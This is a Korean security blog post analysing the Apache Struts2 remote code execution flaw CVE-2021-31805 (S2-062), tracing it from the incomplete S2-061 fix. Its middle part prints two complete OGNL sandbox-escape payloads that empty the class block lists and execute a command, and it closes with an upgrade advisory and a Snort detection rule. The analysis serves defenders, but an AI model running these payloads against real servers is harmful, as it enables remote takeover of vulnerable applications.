KOROMOON

착한 사마리아인이 되고 싶습니다.

4/18/2022

[CVE-2021-31805] Apache Struts2 원격코드 실행 취약점


( 1 ) 취약점 정의


해당 취약점은 CVE-2021-31805 취약점(또는 S2-062)으로 명명되었으며 영향 받는 Apache Struts 2.0.0 ~ 2.5.29 버전에서 개발자가 %{...} 구문을 사용하여 강제 OGNL 평가를 적용할 경우 여전히 일부 태그 속성이 이중 평가를 수행할 수 있어 입력값 검증 없이 악의적인 OGNL 평가 입력이 가능한 원격코드 실행 취약점임.


CVE-2020-17530 취약점(또는 S2-061)의 수정 사항이 불완전하여 발생하였으며 CVE-2020-17530 취약점(또는 S2-061)을 우회하여 가능한 취약점임.


현재 Apache 사에서 2022년 04월 12일자로 보안 권고를 발표하였으며 그에 따른 패치 파일로 제공함.

Apache 사 보안 권고 링크 : 

https://cwiki.apache.org/confluence/display/WW/S2-062


※ Apache Struts 는 Java EE 웹 어플리케이션 개발을 위한 오프소스 웹 어플리케이션 프레임워크임.

또한, OGNL(객체 그래프 탐색 언어)은 Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어임.

OGNL 참고 사이트 : 

https://struts.apache.org/tag-developers/ognl


영향 받는 버전

Apache Struts 2.0.0 ~ 2.5.29




( 2 ) 취약점 분석


CVE-2021-31805 취약점(또는 S2-062)을 이해할려면 먼저 CVE-2020-17530 취약점(또는 S2-061)을 이해해야 함.




1. 핵심 개념


Struts2 제품은 .jsp 요소의 다양한 속성에 대해 OGNL 평가를 수행함.

개발자는 해당 페이지를 동적으로 만들고 URL 매개변수를 가져오기 위해 "%{}" 구문으로 속성값을 정의함.


예를 들어 url 매개변수 'skillName' 을 페이지에 전달하려면 다음을 수행함.


https://<도메인>/?skillName=abctest


<s:url action="list" namespace="/employee" var="url">

<s:a href="%{url}" id="%{skillName}">List available Employees</s:a>

</s:url>


백엔드 플랫폼의 코드는 GET 매개변수에 의해 전달된 입력을 검색하기 위해 단일 OGNL 평가를 수행함. 또는 적어도 그것이 작동하는 방식임.

그러나 해당 사용자 정의값이 OGNL 평가를 두 번 수행하면 취약점이 존재함.




2. CVE-2020-17530 취약점(또는 S2-061) 정보


CVE-2020-17530 취약점(또는 S2-061)에서는 아래와 유사하게 jsp 에 정의된 <a> 태그(또는 앵커 태그)를 사용하여 idVal=%{3*3} 값을 전달하면 입력에 이중 OGNL 평가가 수행되어 id="9" 가 됨.

CVE-2020-17530 취약점(또는 S2-061) 패치 링크 : 

https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e


//example

<s:a id="%{idVal}"/>

//result

<s:a id="9"/>


아래와 같이 CVE-2020-17530 취약점(또는 S2-061) 패치 내용이며 UIBean 클래스를 중심으로 수정함.

두 개의 OGNL 평가 중 하나가 setId 함수 중에 발생함.

findString(id) 을 호출하고 name 매개변수에 "%{" 또는 "}" 가 포함된 경우 OGNL 이 평가하지 않도록 재귀 검사가 추가됨.




3. CVE-2021-31805 취약점(또는 S2-062) 기초


아래 재귀 검사에서 로컬 변수 "name" 에 대해 completeExpressionIfAltSyntax 를 호출하고 expr 에 할당했지만 궁극적으로 OGNL 이 로컬 변수 "expr" 을 평가하기 전에 로컬 변수 "name" 에 대해 재귀 검사를 수행함.


이것은 좋지만 지역 변수 "name" 에 대한 두 번째 OGNL 평가가 없으면 name 은 URL 매개변수에서 사용자가 제공한 데이터를 포함하지 않음.

그러나 결과적으로 664 번째 줄 주위에 evaluateParams 함수에서 이전에 수행된 또 다른 OGNL 평가가 있음.


이는 일부 UIBean 태그의 경우 name 속성이 원격코드 실행으로 이어질 수 있는 매개변수 값을 포함하지 않는 경우 이중 OGNL 평가에 취약하다는 것을 의미함.




4. 기본 취약 요소에 대한 개념 증명(PoC)


<s:textfield label="test1" name="%{skillName}"/>

<!-- or -->

<s:label id="test2" name="%{skillName}" />


https://<domain>/?skillName=3*3  ---> 3*3 = 9 로 평가됨


흥미로운 점은 일부 요소의 경우 name 값이 평가되지만 결과에는 반환되지 않는다는 것임.

따라서 <s:label...> 의 경우 OGNL 평가 name 값을 반환하지 않음.

이것은 값이 평가되지 않았음을 의미하지 않음.


< 백엔드에서 표현식을 평가하지 않았다는 의미는 아님 >


< expr 에서 findValue 가 호출되기 전 >


< expr 에서 findValue 가 호출된 후 >




5. 업그레이드된 개념 증명(PoC)


Struts 의 OGNL 샌드박스에서 벗어나지 못함.

Struts2 는 제외된 클래스와 패키지를 struts-default.xml 파일에 정의함.

이들은 2.5.26 버전에서 차단 목록에 추가된 패키지임.


이러한 모든 클래스/패키지 제한 외에도 OGNL 샌드박스 규칙에는 다음이 포함됨.

- 정적 메소드를 호출할 수 없음

- Reflection 사용할 수 없음

- 새 개체()를 생성할 수 없음


블랙리스트를 벗어난 후에도 런타임을 직접 호출할 수 없음.

이 샌드박스가 반복될 때마다 지속적으로 보안이 강화되고 가능한 RCE 악용의 대규모 환경이 줄어들기 때문에 이는 상황을 매우 어렵게 만듬.

그러나 아직 악용할 수 있는 가능성이 있음.

CVE-2021-31805 취약점(또는 S2-062)에 대한 PoC 를 검색하면 아마도 다음과 같은 같은 결과가 나올 것임.


%{

(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +

(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +

(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +

(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) +

(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +

(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) +

(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +

(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))

}


이는 다음을 효과적으로 평가함.


// beanmap map 에 값 스택(valuestack) 을 배치함

application.map = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');

application.map.setBean(#request.get('struts.valueStack'));

 

// valuestack 에서 컨텍스트 변수(context variable)를 가자와 beanmap map2 에 배치함

application.map2 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');

application.map2.setBean(#application.get('map').get('context'));

 

// 컨텍스트 변수에서 memberaccess 변수를 가져와 beanmap map3 에 배치함

application.map3 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');

application.map3.setBean(#application.get('map2').get('memberAccess'));

 

// 그 자리에 빈 목록을 만들어 memberaccess 에서 찾은 차단 목록을 지움

application.get('map3').put(excludedPackageNames', new HashSet());

application.get('map3').put(excludedClasses', new HashSet());

 

// 샌드박스 제한을 벗어나 이제 calc.exe 를 실행함

application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}));


OGNL 이 Struts2 에서 평가될 때 컨텍스트에 개체에 매핑되는 몇 가지 미리 정의된 값 매핑이 있음.

이들 중 일부는 예를 들어 '#application', '#request', '#attr' 를 포함함.

따라서 %{#application.toString()} 을 호출하면 해당 개체와 해당 toString 함수를 호출하는 것임.


#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')


BeanMap 을 생성한 후 해당 setBean 을 사용하고 excludePackageNames 및 excludeClasses를 지우는 기능을 넣어 샌드박스 제한을 무효화함.


그러나 이는 새로운 샌드박스 제한으로 인해 org.apache.tomcat 사용이 차단됨.




6. 샌드박스 제한 우회 기법


Maps 섹션에서 자신의 클래스의 지도를 만들 수 있다는 것을 알게 됨.


https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"} 해당 URL 에 LinkedHashMap 개체를 만들고 "foo":"value" 로 채움.


또는 BeanMap 객체를 생성할 수 있음.

따라서 BeanMap 을 가져오는 이전 방법은 다음과 같음.

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')


이제 간단히 다음을 사용하여 수행할 수 있음.

#@org.apache.commons.collections.BeanMap@{}


org.apache.commons.collections.BeanMap 사용에 대한 샌드박스 제한 사항이 없으므로 특수 OGNL 구문을 사용하여 직접 생성하면 이전의 모든 샌드박스 제한 사항을 우회할 수 있음.


이 개념을 적용하고 "%{" "}" 를 이전 POC 에 제거하면 calc.exe를 실행하는 새로운 전체 RCE 가 다음과 같이 됨.

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +

(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +

(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))


< PoC 화면 >




( 3 ) 취약점 방어


1. 최신 버전으로 업그레이드함.

Apache Struts 2.5.30 버전 업그레이드


2. 아래와 같이 보안장비에 Snort 패턴을 등록하여 모니터링 및 대응함.

아래 패턴은 POST 방식의 요청 데이터에 (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) 문자열을 PCRE 로 탐지함.


alert tcp any any -> any any (msg:"KOROMOON_S2-062_Vulnerability_Detected"; content:"POST "; depth:5; content:"|20|HTTP/"; pcre:"/(%28|\()(%23|#)request(%2e|\.)map(%3d|=)(%23|#)(%40|@)org(%2e|\.)apache(%2e|\.)commons(%2e|\.)collections(%2e|\.)BeanMap(%40|@)(%7b|\{)(%7d|\})(%29|\))(%2e|\.)toString(%28|\()(%29|\))(%2e|\.)substring(%28|\()0,0(%29|\))/i";)




참고 사이트 : 

https://cwiki.apache.org/confluence/display/WW/S2-062

https://nvd.nist.gov/vuln/detail/CVE-2021-31805

https://securityaffairs.co/wordpress/130173/security/critical-apache-struts-rce-flaw.html

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

https://www.twitter.com/Y4er_ChaBug/status/1514531017264037894

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-31805


댓글 없음:

댓글 쓰기